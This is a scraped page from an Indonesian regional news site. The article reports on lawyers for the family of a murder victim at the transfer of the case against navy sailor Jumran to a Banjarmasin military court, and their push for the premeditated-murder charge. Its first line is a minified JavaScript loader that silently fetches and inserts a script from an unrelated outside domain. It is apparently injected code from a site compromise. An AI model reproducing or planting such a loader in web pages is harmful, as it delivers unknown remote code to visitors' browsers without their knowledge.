(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL di Pengadilan Militer 1-06 Banjarmasin, Jumat (25/4/2025).
Tim kuasa hukum keluarga Juwita langsung berhadapan dengan Kepala Odmil III-15 Banjarmasin Letkol Chk Sunandi yang hadir saat pelimpahan berkas perkara.
Perwakilan kuasa hukum, C Oriza Sativa Tanau mengungkapkan bahwa akan ada 11 saksi yang diperiksa dalam persidangan beserta sebelah bukti surat dan 38 barang bukti.
Baca juga: Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer
Oditurat Militer (Odmil), katanya, menjelaskan perubahan pasal yang didakwakan terhadap tersangka Kelasi I Bahari Jumran.
“Pasal 340 KUHP yang primernya, kemudian subsidernya pasal 338 KUHP. Ada sedikit berbeda dengan apa yang disampaikan sebelumnya, ketika di Pomal kepada Odmil kami mendengar 340 KUHP juncto 338 KUHP,” ungkap C Oriza Sativa Tanau saat diwawancarai, Jumat (25/4/2025).
Kendati demikian, tim kuasa hukum mewakili pihak keluarga Juwita mendorong kepada Odmil, persidangan, dan majelis hakim agar memvonis Jumran dengan murni pasal 340 KUHP.
Baca juga: Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel
“Dalam beberapa kesempatanbaik dalam press konferensi sudah dinyatakan dengan jelas bahwa terbukti pembunuhan berencana. Kalau ini terbukti pembunuhan berencana, maka tidak ada 338, murni 340, seharusnya begitu,” jelas dia.
Pihak kuasa hukum mendorong agar pasal 340 KUHP tetap diprioritaskan dalam dakwaan atas Jumran. Sebab dalam stretching point pasal 340 KUHP adalah pembunuhan berencana.
Perwakilan kuasa hukum keluarga lainnya Hastati menjelaskan, karena ada unsur perencanaan dalam pembunuhan itu maka dipasang sebagai tuntutan adalah pasal primer 340 KUHP sebab ancaman hukuman lebih tinggi.
Baca juga: 9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU
“Ada ancaman maksimal yaitu hukuman mati dan penjara seumur hidup minimal 20 tahun penjara. Beda dengan pasal 338 KUHP, kenapa dipasang sebagai subsider karena ancaman hukumannya lebih ringan,” ujar Hastati.
Pihaknya mengapresiasi perubahan formasi pasal dakwaan, yang secara struktur mekanisme tatanan serta urutan ancaman tertinggi baru dipasang subsider untuk ancaman terendah. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More
Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More
Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More
This website uses cookies.